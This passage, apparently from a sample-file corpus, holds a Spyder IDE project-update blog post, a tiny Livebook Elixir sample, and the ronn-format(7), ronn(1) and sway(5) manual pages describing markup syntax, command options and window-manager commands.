use](https://www.spyder-ide.org/blog/introducing-unittest-plugin/).\nSince November, it has gotten improved ``pytest`` support with realtime test results and click-to-open, better UI/UX, a robust communications backend (ZeroMQ), and numerous bug fixes and minor improvements.\n[QtPy](https://github.com/spyder-ide/qtpy), another affiliated project which Spyder uses as its Qt GUI abstraction layer, has had three releases including one major, with new Qt classes, early support for ``PySide2``, better performance, and a number of bugfixes.\n\n![Spyder-unittest dialog, displaying test results](spyder_unittest.png)\n\nOther projects under the Spyder umbrella are also making major progress. The [pywinpty](https://github.com/spyder-ide/pywinpty) pseudo-terminal library has seen six official releases (three major), with a new rich high level interface to create and track processes, new process wrappers, Python 2.7 support, major performance, stability and security improvements, and many bug fixes.\nMost importantly, we are proud to report that since this January Jupyter Notebook (in 5.3.0) and JupyterLab have both adopted it to create and manage system terminals on Windows!\nThe [qtsass](https://github.com/spyder-ide/qtsass) SASS to Qt stylesheet compiler has a new maintainer, with development including new dev infrastructure, refactoring work, a PyPI release, and new features, with more on the way.\nFinally, our [loghub](https://github.com/spyder-ide/loghub) automatic changelog generator has seen significant internal and external developer interest, as well as three releases, bug fixes, additional examples, and the ability to group issues and PRs together if desired.\nThe common thread between all five of these projects has been a substantially increased development pace in recent weeks, so expect to see even more good news soon if that trend continues.\n\n\n## Beyond the Code\n\nThe team has made progress on a number of fronts outside core program development.\nWe've been joined by several new team members from around the world, who have each contributed new skillsets to the project.\nFurther, we've created, developed and deployed a brand new, modern and responsive website and blog, to provide an accessible, central source for Spyder news and information for both newcomers and old hands alike, as you might have noticed :)\n\nOur new, comprehensive [Troubleshooting Guide and FAQ](https://github.com/spyder-ide/spyder/wiki/Troubleshooting-Guide-and-FAQ) will help users easily resolve common issues without having to wait for a response from us, and we've revised and improved our Github issue tracking workflow to do an even better job at quickly responding to users' needs.\nOn top of that, our Readme, contributing guide, install docs, and developer wiki have all been throughly overhauled to make them more up to date, informative and accessible.\nFinally, we've deepened our relationship with [NumFOCUS](https://www.numfocus.org/), integrating us more closely with the broader PyData community, as well as leading to some exciting news...but that will have to wait for our next post!\n\nUntil then, thanks for all you do for us and the community, and happy Spydering!\n"
  },
  {
    "path": "samples/Markdown/livebook.livemd",
    "content": "<!-- livebook:{\"persist_outputs\":true} -->\n\n# Sample Livebook\n\n## Section\n\n### Markdown\n\nNotebooks are .livemd files, a subset of Markdown with support for equations and annotations.\n\n<!-- livebook:{\"livebook_object\":\"cell_input\",\"name\":\"plus\",\"type\":\"number\",\"value\":\"1\"} -->\n\n```elixir\n{plus, _} = IO.gets(\"plus\") |> Integer.parse()\n\n[1, 2, 3]\n|> Enum.map(&(&1 + plus))\n```\n\n```output\n[2, 3, 4]\n```\n"
  },
  {
    "path": "samples/Markdown/minimal.md",
    "content": "_This_ is a **Markdown** readme."
  },
  {
    "path": "samples/Markdown/ronn-format.7.ronn",
    "content": "ronn-format(7) -- manual authoring format based on Markdown\n===========================================================\n\n## SYNOPSIS\n\n    name(1) -- short, single-sentence description\n    =============================================\n\n    ## SYNOPSIS\n\n    `name` [<optional>...] <flags>\n\n    ## DESCRIPTION\n\n    A normal paragraph. This can span multiple lines and is terminated with two\n    or more line endings -- just like Markdown.\n\n    Inline markup for `code`, `user input`, and **strong** are displayed\n    boldface; <variable>, _emphasis_, *emphasis*, are displayed in italics\n    (HTML) or underline (roff).\n\n    Manual references like sh(1), markdown(7), roff(7), etc. are hyperlinked in\n    HTML output.\n\n    Link to sections like [STANDARDS][], [SEE ALSO][], or [WITH A DIFFERENT LINK\n    TEXT][#SEE-ALSO].\n\n    Definition lists:\n\n      * `-a`, `--argument`=[<value>]:\n        One or more paragraphs describing the argument.\n\n      * You can put whatever you *want* here, really:\n        Nesting and paragraph spacing are respected.\n\n    Frequently used sections:\n\n    ## OPTIONS\n    ## SYNTAX\n    ## ENVIRONMENT\n    ## RETURN VALUES\n    ## STANDARDS\n    ## SECURITY CONSIDERATIONS\n    ## BUGS\n    ## HISTORY\n    ## AUTHOR\n    ## COPYRIGHT\n    ## SEE ALSO\n\n## DESCRIPTION\n\nThe ronn(1) command converts text in a simple markup to UNIX manual pages. The\nsyntax includes all Markdown formatting features, plus conventions for\nexpressing the structure and various notations present in standard UNIX\nmanpages.\n\nNot all roff(7) typesetting features can be expressed using ronn syntax.\n\n## MANPAGE TITLE\n\nManpages have a <name>, <section>, and a one-line <description>. Files must\nstart with a level one heading defining these attributes:\n\n    ls(1) -- list directory contents\n    ================================\n\nIndicates that the manpage is named `ls` in manual section `1` (\"user\ncommands\").\n\n## SECTION HEADINGS\n\nMan section headings are expressed with markdown level two headings. There\nare two syntaxes for level two headings.\n\nHash prefix syntax:\n\n    ## HEADING TEXT\n\nDash underline syntax:\n\n    HEADING TEXT\n    ------------\n\nSection headings should be all uppercase and may not contain inline markup.\n\n## INLINE MARKUP\n\nManpages have a limited set of text formatting capabilities. There's basically\n<b>boldface</b> and <i>italics</i> (often displayed using <u>underline</u>).\nRonn uses the following bits of markdown(7) to accomplish this:\n\n  * <code>\\`backticks\\`</code> (markdown compatible):\n    Code, flags, commands, and noun-like things; typically displayed in in\n    <b>boldface</b>. All text included within `backticks` is displayed\n    literally; other inline markup is not processed. HTML output:\n    `<code>`.\n\n  * `**double-stars**` (markdown compatible):\n    Also displayed in boldface. Unlike backticks, inline markup is processed.\n    HTML output: `<strong>`.\n\n  * `<anglequotes>` (non-compatible markdown extension):\n    User-specified arguments, variables, or user input. Typically displayed with\n    <u>underline</u> in roff output. HTML output: `<var/>`.\n\n  * `_`_underbars_`_` (markdown compatible):\n    Emphasis. May be used for literal option values. Typically displayed with\n    <u>underline</u> in roff output. HTML output: `<em>`.\n\nHere is grep(1)'s DESCRIPTION section represented in `ronn`:\n\n    `Grep` searches the named input <FILE> (or standard input if\n    no files are named, or the file name `-` is given) for lines\n    containing a match to the given <PATTERN>. By default, `grep`\n    prints the matching lines.\n\n## DEFINITION LISTS\n\nThe definition list syntax is compatible with markdown's unordered list syntax\nbut requires that the first line of each list item be terminated with a colon\n\"`:`\" character. The contents of the first line is the <term>; subsequent lines\nmay be comprised of multiple paragraphs, code blocks, standard lists, and nested\ndefinition lists.\n\nAn example definition list, taken from BSD test(1)'s *DESCRIPTION* section:\n\n     The following primaries are used to construct expressions:\n\n       * `-b` <file>:\n         True if <file> exists and is a block special file.\n\n       * `-c` <file>:\n         True if _file_ exists and is a character special file.\n\n       * `-d` <file>:\n         True if file exists and is a directory.\n\n## LINKS\n\nAll markdown(7) linking features are supported.\n\nMarkdown reference-style links can be used to link to specific sections by name:\n\n    ## SECTION 1\n\n    See the following section.\n\n    ## SECTION 2\n\n    See [SECTION 1][] or [to put it another way][SECTION 1].\n\nThe anchor name would be `#SECTION-1` and `#SECTION-2`. All non-word characters\nare removed and spaces are replaced by dashes.\n\n## SEE ALSO\n\nronn(1), markdown(7), roff(7)\n"
  },
  {
    "path": "samples/Markdown/ronn.1.ronn",
    "content": "ronn(1) -- convert markdown files to manpages\n=============================================\n\n## SYNOPSIS\n\n`ronn` [<format>...] <file>...<br>\n`ronn` `-m`|`--man` <file>...<br>\n`ronn` `-S`|`--server` <file>...<br>\n`ronn` `--pipe` <file><br>\n`ronn` &lt; <file>\n\n## DESCRIPTION\n\n**Ronn** converts textfiles to standard roff-formatted UNIX manpages or HTML.\nronn-format(7) is based on markdown(7) but includes additional rules and syntax\ngeared toward authoring manuals.\n\nIn its default mode, `ronn` converts one or more input <file>s to HTML or roff\noutput files. The `--roff`, `--html`, and `--fragment` options dictate which\noutput files are generated. Multiple format arguments may be specified to\ngenerate multiple output files. Output files are named after and written to the\nsame directory as input <file>s.\n\nThe `--server` and `--man` options change the output behavior from file\ngeneration to serving dynamically generated HTML manpages or viewing <file> as\nwith man(1).\n\nWith no <file> arguments, `ronn` acts as simple filter. Ronn source text is read\nfrom standard input and roff output is written to standard output. Use the\n`--html`, `--roff`, and/or `--fragment` options to select the output format.\n\n## FILES\n\nThe `ronn` command expects input to be valid ronn-format(7) text.  Source files\nare typically named <name>.<section>.ronn (e.g., `example.1.ronn`).  The <name>\nand <section> should match the name and section defined in the <file>'s heading.\n\nWhen building roff or HTML output files, destination filenames are determined by\ntaking the basename of the input <file> and adding the appropriate file\nextension (or removing the file extension in the case of roff output).  For\nexample, executing `ronn example.1.ronn` generates `example.1` with roff output\nand `example.1.html` with HTML output.\n\n## OPTIONS\n\nThese options control whether output is written to file(s), standard output, or\ndirectly to a man pager.\n\n  * `-m`, `--man`:\n    Don't generate files, display <file>s as if man(1) were invoked on the roff\n    output file. This simulates default man behavior by piping the roff output\n    through groff(1) and the paging program specified by the `MANPAGER`\n    environment variable.\n\n  * `-S`, `--server`:\n    Don't generate files, start an HTTP server at <http://localhost:1207/> and\n    serve dynamically generated HTML for the set of input <file>s. A file named\n    *example.2.ronn* is served as */example.2.html*. There's also an index page\n    at the root with links to each <file>.\n\n    The server respects the `--style` and document attribute options\n    (`--manual`, `--date`, etc.). These same options can be varied at request\n    time by giving them as query parameters: `?manual=FOO&style=dark,toc`\n\n    *NOTE: The builtin server is designed to assist in the process of writing\n    and styling manuals. It is in no way recommended as a general purpose web\n    server.*\n\n  * `--pipe`:\n    Don't generate files, write generated output to standard output. This is the\n    default behavior when ronn source text is piped in on standard input and no\n    <file> arguments are provided.\n\nFormat options control the files `ronn` generates, or the output format when the\n`--pipe` argument is specified. When no format options are given, both `--roff`\nand `--html` are assumed.\n\n  * `-r`, `--roff`:\n    Generate roff output. This is the default behavior when no <file>s are given\n    and ronn source text is read from standard input.\n\n  * `-5`, `--html`:\n    Generate output in HTML format.\n\n  * `-f`, `--fragment`:\n    Generate output in HTML format but only the document fragment, not the\n    header, title, or footer.\n\nDocument attributes displayed in the header and footer areas of generated\ncontent are specified with these options. (These values may also be set via\nthe [ENVIRONMENT][].)\n\n  * `--manual`=<manual>:\n    The name of the manual this man page belongs to; <manual> is prominently\n    displayed top-center in the header area.\n\n  * `--organization`=<name>:\n    The name of the group, organization, or individual responsible for\n    publishing the document; <name> is displayed in the bottom-left footer area.\n\n  * `--date`=<date>:\n    The document's published date; <date> must be formatted `YYYY-MM-DD` and is\n    displayed in the bottom-center footer area. The <file> mtime is used when no\n    <date> is given, or the current time when no <file> is available.\n\nHTML output can be customized through the use of CSS stylesheets:\n\n  * `--style`=<module>[,<module>]...:\n    The list of CSS stylesheets to apply to the document. Multiple <module>\n    arguments may be specified, but must be separated by commas or spaces.\n\n    When <module> is a simple word, search for files named <module>`.css` in all\n    directories listed in the [`RONN_STYLE`](#ENVIRONMENT) environment variable,\n    and then search internal styles.\n\n    When <module> includes a _/_ character, use it as the full path to a\n    stylesheet file.\n\n    Internal styles are _man_ (included by default), _toc_, and _80c_.  See\n    [STYLES][] for descriptions of features added by each module.\n\nMiscellaneous options:\n\n  * `-w`, `--warnings`:\n    Show troff warnings on standard error when performing roff conversion.\n    Warnings are most often the result of a bug in ronn's HTML to roff conversion\n    logic.\n\n  * `-W`:\n    Disable troff warnings. Warnings are disabled by default. This option can be\n    used to revert the effect of a previous `-w` argument.\n\n  * `-v`, `--version`:\n    Show ronn version and exit.\n\n## LINK INDEXES\n\nWhen generating HTML output, `ronn` hyperlinks manual references (like\n`grep(1)`, `ls(1)`, `markdown(7)`) in source text based on reference name to URL\nmappings defined in an `index.txt` file. Each line of the index file describes a\nsingle reference link, with whitespace separating the reference's <id> from its\n<location>. Blank lines are allowed; lines beginning with a `#` character are\nignored:\n\n    # manuals included in this project:\n    whisky(1)    whisky.1.ronn\n    tango(5)     tango.5.ronn\n\n    # external manuals\n    grep(1)      http://man.cx/grep(1)\n    ls(1)        http://man.cx/ls(1)\n\n    # other URLs for use with markdown reference links\n    src          http://github.com/\n\nThe <location> is an absolute or relative URL that usually points at an HTML\nversion of manpage. It's possible to define references for things that aren't\nmanpages.\n\nAll manuals in an individual directory share the references defined in that\ndirectory's `index.txt` file. Index references may be used explicitly in\nMarkdown reference style links using the syntax: `[`<text>`][`<id>`]`, where\n<text> is the link text and <id> is a reference name defined in the index.\n\n## STYLES\n\nThe `--style` option selects a list of CSS stylesheets to include in the\ngenerated HTML. Styles are applied in the order defined, so each can use the\ncascade to override previously defined styles.\n\n### Builtin Stylesheets\n\nThese styles are included with the distribution:\n\n   * `man`:\n     Basic manpage styles: typography, definition lists, indentation. This is\n     always included regardless of `--style` argument. It is however possible to\n     replace the default `man` module with a custom one by placing a `man.css`\n     file on the `RONN_STYLE` path.\n\n   * `print`:\n     Basic print stylesheet. The generated `<style>` tag includes a\n     `media=print` attribute.\n\n   * `toc`:\n     Enables the Table of Contents navigation. The TOC markup is included in\n     generated HTML by default but hidden with an inline `display:none` style\n     rule; the `toc` module turns it on and applies basic TOC styles.\n\n   * `dark`:\n     Light text on a dark background.\n\n   * `80c`:\n     Changes the display width to mimic the display of a classic 80 character\n     terminal. The default display width causes lines to wrap at a gratuitous\n     100 characters.\n\n### Custom Stylesheets\n\nWriting custom stylesheets is straight-forward. The following core selectors\nallow targeting all generated elements:\n\n   * `.mp`:\n     The manual page container element. Present on full documents and document\n     fragments.\n\n   * `body#manpage`:\n     Signifies that the page was fully-generated by Ronn and contains a single\n     manual page (`.mp` element).\n\n   * `.man-decor`:\n     The three-item heading and footing elements both have this class.\n\n   * `.man-head`, `.man-foot`:\n     The heading and footing, respectively.\n\n   * `.man-title`:\n     The main `<h1>` element. Hidden by default unless the manual has no <name>\n     or <section> attributes.\n\nSee the [builtin style sources][builtin] for examples.\n\n[builtin]: http://github.com/rtomayko/ronn/tree/master/lib/ronn/template\n          \"Builtin Stylesheet .css files\"\n\n## EXAMPLES\n\nBuild roff and HTML output files and view the roff manpage using man(1):\n\n    $ ronn some-great-program.1.ronn\n    roff: some-great-program.1\n    html: some-great-program.1.html\n    $ man ./some-great-program.1\n\nBuild only the roff manpage for all `.ronn` files in the current directory:\n\n    $ ronn --roff *.ronn\n    roff: mv.1\n    roff: ls.1\n    roff: cd.1\n    roff: sh.1\n\nBuild only the HTML manpage for a few files and apply the `dark` and `toc`\nstylesheets:\n\n    $ ronn --html --style=dark,toc mv.1.ronn ls.1.ronn\n    html: mv.1.html\n    html: ls.1.html\n\nGenerate roff output on standard output and write to file:\n\n    $ ronn <hello.1.ronn >hello.1\n\nView a ronn file in the same way as man(1) without building a roff file:\n\n    $ ronn --man hello.1.ronn\n\nServe HTML manpages at <http://localhost:1207/> for all `*.ronn` files\nunder a `man/` directory:\n\n    $ ronn --server man/*.ronn\n    $ open http://localhost:1207/\n\n\n## ENVIRONMENT\n\n  * `RONN_MANUAL`:\n    A default manual name to be displayed in the top-center header area.\n    The `--manual` option takes precedence over this value.\n\n  * `RONN_ORGANIZATION`:\n    The default manual publishing group, organization, or individual to be\n    displayed in the bottom-left footer area. The `--organization` option takes\n    precedence over this value.\n\n  * `RONN_DATE`:\n    The default manual date in `YYYY-MM-DD` format. Displayed in the\n    bottom-center footer area. The `--date` option takes precedence over this\n    value.\n\n  * `RONN_STYLE`:\n    A `PATH`-style list of directories to check for stylesheets given to the\n    `--style` option. Directories are separated by a _:_; blank entries are\n    ignored. Use _._ to include the current working directory.\n\n  * `MANPAGER`:\n    The paging program used for man pages. This is typically set to\n    something like 'less -is'.\n\n  * `PAGER`:\n    Used instead of `MANPAGER` when `MANPAGER` is not defined.\n\n## BUGS\n\n**Ronn** is written in Ruby and depends on hpricot and rdiscount, extension\nlibraries that are non-trivial to install on some systems. A more portable\nversion of this program would be welcome.\n\n## COPYRIGHT\n\nRonn is Copyright (C) 2009 Ryan Tomayko <http://tomayko.com/about>\n\n## SEE ALSO\n\ngroff(1), man(1), pandoc(1), manpages(5), markdown(7), roff(7), ronn-format(7)\n"
  },
  {
    "path": "samples/Markdown/sway.5.scd",
    "content": "sway(5)\n\n# NAME\n\nsway - configuration file and commands\n\n# DESCRIPTION\n\nA sway configuration file is a list of sway commands that are executed by sway\non startup.  These commands usually consist of setting your preferences and\nsetting key bindings. An example config is likely present in /etc/sway/config\nfor you to check out.\n\nLines in the configuration file might be extended through multiple lines by\nadding a '\\\\' character at the end of line. e.g.:\n\n```\nbindsym Shift+XF86AudioRaiseVolume exec \\\\\n\tpactl set-sink-volume @DEFAULT_SINK@ -1%\n```\n\nCommands can also be given as a block in the form *command { <subcommands...>\n}*. Anything before the opening *{* will be prepended to the lines inside the\nblock. For example:\n\n```\noutput eDP-1 {\n\tbackground ~/wallpaper.png fill\n\tresolution 1920x1080\n}\n```\n\nis identical to\n\n```\noutput eDP-1 background ~/wallpaper.png fill\noutput eDP-1 resolution 1920x1080\n```\n\nThese commands can be executed in your config file, via *swaymsg*(1), or via\nthe bindsym command.\n\n# COMMAND CONVENTIONS\n\nCommands are split into several arguments using spaces. You can enclose\narguments with quotation marks (*\"...\"* or *'...'*) to add spaces to a single\nargument. You may also run several commands in order by separating each with\n*,* or *;*. Criteria is retained across commands separated by *,*, but will be\nreset (and allow for new criteria, if desired) for commands separated by a *;*.\n\nThroughout the documentation, *|* is used to distinguish between arguments for\nwhich you may only select one. *[...]* is used for optional arguments, and\n*<...>* for arguments where you are expected to supply some value.\n\n# COMMANDS\n\nThis section only lists general commands. For input and output commands, refer\nto *sway-input*(5) and *sway-output*(5).\n\nThe following commands may only be used in the configuration file.\n\n*bar* [<bar-id>] <bar-subcommands...>\n\tFor details on bar subcommands, see *sway-bar*(5).\n\n*default_orientation* horizontal|vertical|auto\n\tSets the default container layout for tiled containers.\n\n*include* <path>\n\tIncludes another file from _path_. _path_ can be either a full path or a\n\tpath relative to the parent config, and expands shell syntax (see\n\t*wordexp*(3) for details). The same include file can only be included once;\n\tsubsequent attempts will be ignored.\n\n*swaybg_command* <command>\n\tExecutes custom background _command_. Default is _swaybg_. Refer to\n\t*sway-output*(5) for more information.\n\n\tIt can be disabled by setting the command to a single dash:\n\t_swaybg\\_command -_\n\n*swaynag_command* <command>\n\tExecutes custom command for _swaynag_. Default is _swaynag_. Additional\n\targuments may be appended to the end. This should only be used to either\n\tdirect sway to call swaynag from a custom path or to provide additional\n\targuments. This should be placed at the top of the config for the best\n\tresults.\n\n\tIt can be disabled by setting the command to a single dash:\n\t_swaynag\\_command -_\n\n*workspace_layout* default|stacking|tabbed\n\tSpecifies the initial layout for new containers in an empty workspace.\n\n*xwayland* enable|disable|force\n\tEnables or disables Xwayland support, which allows X11 applications to be\n\tused. _enable_ will lazily load Xwayland so Xwayland will not be launched\n\tuntil the first client attempts to connect. In some cases, such as slower\n\tmachines, it may be desirable to have Xwayland started immediately by\n\tusing _force_ instead of _enable_.\n\nThe following commands cannot be used directly in the configuration file.\nThey are expected to be used with *bindsym* or at runtime through *swaymsg*(1).\n\n*border* none|normal|csd|pixel [<n>]\n\tSet border style for focused window. _normal_ includes a border of\n\tthickness _n_ and a title bar. _pixel_ is a border without title bar _n_\n\tpixels thick. Default is _normal_ with border thickness 2. _csd_ is short\n\tfor client-side-decorations, which allows the client to draw its own\n\tdecorations.\n\n*border* toggle\n\tCycles through the available border styles.\n\n*exit*\n\tExit sway and end your Wayland session.\n\n*floating* enable|disable|toggle\n\tMake focused view floating, non-floating, or the opposite of what it is now.\n\n<criteria> *focus*\n\tMoves focus to the container that matches the specified criteria.\n\n*focus* up|right|down|left\n\tMoves focus to the next container in the specified direction.\n\n*focus* prev|next [sibling]\n\tMoves focus to the previous or next container in the current layout. By default,\n\tthe last active child of the newly focused container will be focused. The _sibling_\n\toption indicates not to immediately focus a child of the container.\n\n*focus* child\n\tMoves focus to the last-focused child of the focused container.\n\n*focus* parent\n\tMoves focus to the parent of the focused container.\n\n*focus* output up|right|down|left\n\tMoves focus to the next output in the specified direction.\n\n*focus* output <name>\n\tMoves focus to the named output.\n\n*focus* tiling\n\tSets focus to the last focused tiling container.\n\n*focus* floating\n\tSets focus to the last focused floating container.\n\n*focus* mode_toggle\n\tMoves focus between the floating and tiled layers.\n\n*fullscreen* [enable|disable|toggle] [global]\n\tMakes focused view fullscreen, non-fullscreen, or the opposite of what it\n\tis now. If no argument is given, it does the same as _toggle_. If _global_\n\tis specified, the view will be fullscreen across all outputs.\n\n*gaps* inner|outer|horizontal|vertical|top|right|bottom|left all|current\nset|plus|minus <amount>\n\tChanges the _inner_ or _outer_ gaps for either _all_ workspaces or the\n\t_current_ workspace. _outer_ gaps can be altered per side with _top_,\n\t_right_, _bottom_, and _left_ or per direction with _horizontal_ and\n\t_vertical_.\n\n*inhibit_idle* focus|fullscreen|open|none|visible\n\tSet/unset an idle inhibitor for the view. _focus_ will inhibit idle when\n\tthe view is focused by any seat. _fullscreen_ will inhibit idle when the\n\tview is fullscreen (or a descendant of a fullscreen container) and is\n\tvisible. _open_ will inhibit idle until the view is closed (or the\n\tinhibitor is unset/changed). _visible_ will inhibit idle when the view is\n\tvisible on any output. _none_ will remove any existing idle inhibitor for\n\tthe view.\n\n\tThis can also be used with criteria to set an idle inhibitor for any\n\texisting view or with _for_window_ to set idle inhibitors for future views.\n\n*layout* default|splith|splitv|stacking|tabbed\n\tSets the layout mode of the focused container.\n\n*layout* toggle [split|all]\n\tCycles the layout mode of the focused container though a preset list of\n\tlayouts. If no argument is given, then it cycles through stacking, tabbed\n\tand the last split layout. If _split_ is given, then it cycles through\n\tsplith and splitv. If _all_ is given, then it cycles through every layout.\n\n*layout* toggle [split|tabbed|stacking|splitv|splith] [split|tabbed|stacking|splitv|splith]...\n\tCycles the layout mode of the focused container through a list of layouts.\n\n*max_render_time* off|<msec>\n\tControls when the relevant application is told to render this window, as a\n\tpositive number of milliseconds before the next time sway composites the\n\toutput. A smaller number leads to fresher rendered frames being composited\n\tby sway and lower perceived input latency, but if set too low, the\n\tapplication may not finish rendering before sway composites the output,\n\tleading to delayed frames.\n\n\tWhen set to off, the relevant application is told to render this window\n\timmediately after display refresh. How much time is left for rendering\n\tbefore sway composites the output at that point depends on the output\n\t*max_render_time* setting.\n\n\tTo set this up for optimal latency:\n\t. Set up *output max_render_time* (see *sway-output*(5)).\n\t. Put the target application in _full-screen_ and have it continuously\n\t  render something.\n\t. Start by setting *max_render_time 1*. If the application drops\n\t  frames, increment by *1*.\n\n\tThis setting only has an effect if a per-output *max_render_time* is in\n\teffect on the output the window is currently on. See *sway-output*(5) for\n\tfurther details.\n\n*move* left|right|up|down [<px> px]\n\tMoves the focused container in the direction specified. If the container,\n\tthe optional _px_ argument specifies how many pixels to move the container.\n\tIf unspecified, the default is 10 pixels. Pixels are ignored when moving\n\ttiled containers.\n\n*move* [absolute] position <pos_x> [px|ppt] <pos_y> [px|ptt]\n\tMoves the focused container to the specified position in the workspace.\n\tThe position can be specified in pixels or percentage points, omitting\n\tthe unit defaults to pixels. If\t_absolute_ is used, the position is\n\trelative to all outputs. _absolute_ can not be used with percentage points.\n\n*move* [absolute] position center\n\tMoves the focused container to be centered on the workspace. If _absolute_\n\tis used, it is moved to the center of all outputs.\n\n*move* position cursor|mouse|pointer\n\tMoves the focused container to be centered on the cursor.\n\n*move* [container|window] [to] mark <mark>\n\tMoves the focused container to the specified mark.\n\n*move* [--no-auto-back-and-forth] [container|window] [to] workspace [number] <name>\n\tMoves the focused container to the specified workspace. The string _number_\n\tis optional and is used to match a workspace with the same number, even if\n\tit has a different name.\n\n*move* [container|window] [to] workspace prev|next|current\n\tMoves the focused container to the previous, next or current workspace on\n\tthis output, or if no workspaces remain, the previous or next output.\n\n*move* [container|window] [to] workspace prev_on_output|next_on_output\n\tMoves the focused container to the previous or next workspace on this\n\toutput, wrapping around if already at the first or last workspace.\n\n*move* [container|window] [to] workspace back_and_forth\n\tMoves the focused container to previously focused workspace.\n\n*move* [container|window] [to] output <name-or-id>|current\n\tMoves the focused container to the specified output.\n\n*move* [container|window] [to] output up|right|down|left\n\tMoves the focused container to next output in the specified\n\tdirection.\n\n*move* [container|window] [to] scratchpad\n\tMoves the focused container to the scratchpad.\n\n*move* workspace [to] output <name-or-id>|current\n\tMoves the focused workspace to the specified output.\n\n*move* workspace to [output] <name-or-id>|current\n\tMoves the focused workspace to the specified output.\n\n*move* workspace [to] output up|right|down|left\n\tMoves the focused workspace to next output in the specified direction.\n\n*move* workspace to [output] up|right|down|left\n\tMoves the focused workspace to next output in the specified direction.\n\n*nop* <comment>\n\tA no operation command that can be used to override default behaviour. The\n\toptional comment argument is ignored, but logged for debugging purposes.\n\n*reload*\n\tReloads the sway config file and applies any changes. The config file is\n\tlocated at path specified by the command line arguments when started,\n\totherwise according to the priority stated in *sway*(1).\n\n*rename* workspace [<old_name>] to <new_name>\n\tRename either <old_name> or the focused workspace to the <new_name>\n\n*resize* shrink|grow width|height [<amount> [px|ppt]]\n\tResizes the currently focused container by _amount_, specified in pixels or\n\tpercentage points. If the units are omitted, floating containers are resized\n\tin px and tiled containers by ppt. _amount_ will default to 10 if omitted.\n\n*resize* set height <height> [px|ppt]\n\tSets the height of the container to _height_, specified in pixels or\n\tpercentage points. If the units are omitted, floating containers are\n\tresized in px and tiled containers by ppt. If _height_ is 0, the container\n\twill not be resized.\n\n*resize* set [width] <width> [px|ppt]\n\tSets the width of the container to _width_, specified in pixels or\n\tpercentage points. If the units are omitted, floating containers are\n\tresized in px and tiled containers by ppt. If _width_ is 0, the container\n\twill not be resized.\n\n*resize* set [width] <width> [px|ppt] [height] <height> [px|ppt]\n\tSets the width and height of the container to _width_ and _height_,\n\tspecified in pixels or percentage points. If the units are omitted,\n\tfloating containers are resized in px and tiled containers by ppt. If\n\t_width_ or _height_ is 0, the container will not be resized on that axis.\n\n*scratchpad* show\n\tShows a window from the scratchpad. Repeatedly using this command will\n\tcycle through the windows in the scratchpad.\n\n*shortcuts_inhibitor* enable|disable\n\tEnables or disables the ability of clients to inhibit keyboard\n\tshortcuts for a view. This is primarily useful for virtualization and\n\tremote desktop software. It affects either the currently focused view\n\tor a set of views selected by criteria. Subcommand _disable_\n\tadditionally deactivates any active inhibitors for the given view(s).\n\tCriteria are particularly useful with the *for_window* command to\n\tconfigure a class of views differently from the per-seat defaults\n\testablished by the *seat* subcommand of the same name. See\n\t*sway-input*(5) for more ways to affect inhibitors.\n\n*split* vertical|v|horizontal|h|toggle|t\n\tSplits the current container, vertically or horizontally. When _toggle_ is\n\tspecified, the current container is split opposite to the parent\n\tcontainer's layout.\n\n*splith*\n\tEquivalent to *split horizontal*\n\n*splitv*\n\tEquivalent to *split vertical*\n\n*splitt*\n\tEquivalent to *split toggle*\n\n*sticky* enable|disable|toggle\n\t\"Sticks\" a floating window to the current output so that it shows up on all\n\tworkspaces.\n\n*swap* container with id|con_id|mark <arg>\n\tSwaps the position, geometry, and fullscreen status of two containers. The\n\tfirst container can be selected either by criteria or focus. The second\n\tcontainer can be selected by _id_, _con_id_, or _mark_. _id_ can only be\n\tused with xwayland views. If the first container has focus, it will retain\n\tfocus unless it is moved to a different workspace or the second container\n\tbecomes fullscreen on the same workspace as the first container. In either\n\tof those cases, the second container will gain focus.\n\n*title_format* <format>\n\tSets the format of window titles. The following placeholders may be used:\n\n\t\t%title - The title supplied by the window ++\n\t\t%app_id - The wayland app ID (applicable to wayland windows only) ++\n\t\t%class - The X11 classname (applicable to xwayland windows only) ++\n\t\t%instance - The X11 instance (applicable to xwayland windows only) ++\n\t\t%shell - The protocol the window is using (typically xwayland or\n\t\t\txdg_shell)\n\n\tThis command is typically used with *for_window* criteria. For example:\n\n\t\tfor_window [title=\".\"] title_format \"<b>%title</b> (%app_id)\"\n\n\tNote that markup requires pango to be enabled via the *font* command.\n\n\tThe default format is \"%title\".\n\nThe following commands may be used either in the configuration file or at\nruntime.\n\n*assign* <criteria> [→] [workspace] [number] <workspace>\n\tAssigns views matching _criteria_ (see *CRITERIA* for details) to\n\t_workspace_. The → (U+2192) is optional and cosmetic. This command is\n\tequivalent to:\n\n\t\tfor_window <criteria> move container to workspace <workspace>\n\n*assign* <criteria> [→] output left|right|up|down|<name>\n\tAssigns views matching _criteria_ (see *CRITERIA* for details) to the\n\tspecified output. The → (U+2192) is optional and cosmetic. This command is\n\tequivalent to:\n\n\t\tfor_window <criteria> move container to output <output>\n\n*bindsym* [--whole-window] [--border] [--exclude-titlebar] [--release] [--locked] \\\n[--to-code] [--input-device=<device>] [--no-warn] [--no-repeat] [Group<1-4>+]<key combo> \\\n<command>\n\tBinds _key combo_ to execute the sway command _command_ when pressed. You\n\tmay use XKB key names here (*wev*(1) is a good tool for discovering these).\n\tWith the flag _--release_, the command is executed when the key combo is\n\treleased. If _input-device_ is given, the binding will only be executed for\n\tthat input device and will be executed instead of any binding that is\n\tgeneric to all devices. If a group number is given, then the binding will\n\tonly be available for that group. By default, if you overwrite a binding,\n\tswaynag will give you a warning. To silence this, use the _--no-warn_ flag.\n\n\tUnless the flag _--locked_ is set, the command will not be run when a\n\tscreen locking program is active. If there is a matching binding with\n\tand without _--locked_, the one with will be preferred when locked and the\n\tone without will be preferred when unlocked. If there are matching bindings\n\tand one has both _--input-device_ and _--locked_ and the other has neither,\n\tthe former will be preferred even when unlocked.\n\n\tUnless the flag _--inhibited_ is set, the command will not be run when\n\ta keyboard shortcuts inhibitor is active for the currently focused\n\twindow. Such inhibitors are usually requested by remote desktop and\n\tvirtualization software to enable the user to send keyboard shortcuts\n\tto the remote or virtual session. The _--inhibited_ flag allows to\n\tdefine bindings which will be exempt from pass-through to such\n\tsoftware. The same preference logic as for _--locked_ applies.\n\n\tUnless the flag _--no-repeat_ is set, the command will be run\n\trepeatedly when the key is held, according to the repeat\n\tsettings specified in the input configuration.\n\n\tBindings to keysyms are layout-dependent. This can be changed with the\n\t_--to-code_ flag. In this case, the keysyms will be translated into the\n\tcorresponding keycodes in the first configured layout.\n\n\tMouse bindings operate on the container under the cursor instead of the\n\tcontainer that has focus. Mouse buttons can either be specified in the form\n\t_button[1-9]_ or by using the name of the event code 